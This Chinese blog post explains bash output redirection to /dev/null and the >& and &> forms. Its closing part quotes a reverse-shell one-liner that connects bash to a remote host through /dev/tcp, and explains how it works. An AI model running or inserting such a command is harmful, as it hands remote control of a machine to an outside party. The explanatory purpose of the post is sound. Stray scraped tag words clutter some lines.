linux bash的重定向

cnblogs原創shell

 

下面幾種bash重定向各表示什麼意思?bash

1 find / -name passwd > /dev/null
2 find / -name passwd > /dev/null 2>&1
3 find / -name passwd 2> /dev/null
4 find / -name passwd &> /dev/null
5 find / -name passwd >& /dev/null

上面有5種重定向,分別表示:tcp

1. 將find結果重定向到 /dev/null,這個find結果指的是標準輸出,不含標準錯誤,好比以非root用戶身份運行這個命令時,可能會遇到這樣問題,以下:post

其中有的是查找到了,有的報錯,對應正常查找到的是標準輸出,而報錯則是標準錯誤。標準輸出與標準錯誤都是向屏幕輸出,區別是有無緩衝,標準錯誤是不帶緩衝的。spa

這個最終結果是僅輸出find錯誤結果。3d

 

2. 將find結果(標準輸出)重定向到 /dev/null,同時將標準錯誤重定向到標準輸出。在Linux中,內核默認爲每一個進程打開3個描述符(標準錯誤二、標準輸出一、標準輸入0)。code

這個最終結果是什麼都不輸出。blog

 

3. 將find結果(標準錯誤)重定向到 /dev/null,不含標準輸出。進程

這個最終結果是隻輸出正常結果,不輸出錯誤結果。class

 

4/5. 這兩個是相同的,只是不一樣寫法,>&和&>徹底相同,它們對位置前後無要求。將find結果(標準輸出)重定向到 /dev/null,同時將標準錯誤重定向到標準輸出。>&或者&>等同於> /dev/null 2>&1。爲何會有這種寫法?大概緣由是bash對csh進行兼容致使的,由於csh的標準輸出和標準錯誤重定向是這種寫法。

其實這些在bash manual手冊中都是有說明的:

 

 

另外,網上有給出一個反彈shell,以下:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

重定向語法上面已經解釋清楚,這裏無非是多了個標準輸入的重定向。

使用ls命令發現/dev下面並無這個tcp目錄或者文件,這裏的/dev/tcp/10.0.0.1/8000又是什麼?一樣在bash的manual中有說明,以下:

從手冊中能夠看到/dev/tcp/10.0.0.1/8000是bash重定向時,一些特殊的文件而已,ls天然看不到的。

 

PS: 準備在閒暇之餘用C++寫個反彈shell練手的,遂有了這篇文章。但寫完這篇文章以後,發現網上已經有人寫過相似的( https://www.anquanke.com/post/id/85712 ),不過沒有解釋/dev/tcp/host/port是怎麼回事,文章就不刪了,留做補充說明吧。

相關文章
相關標籤/搜索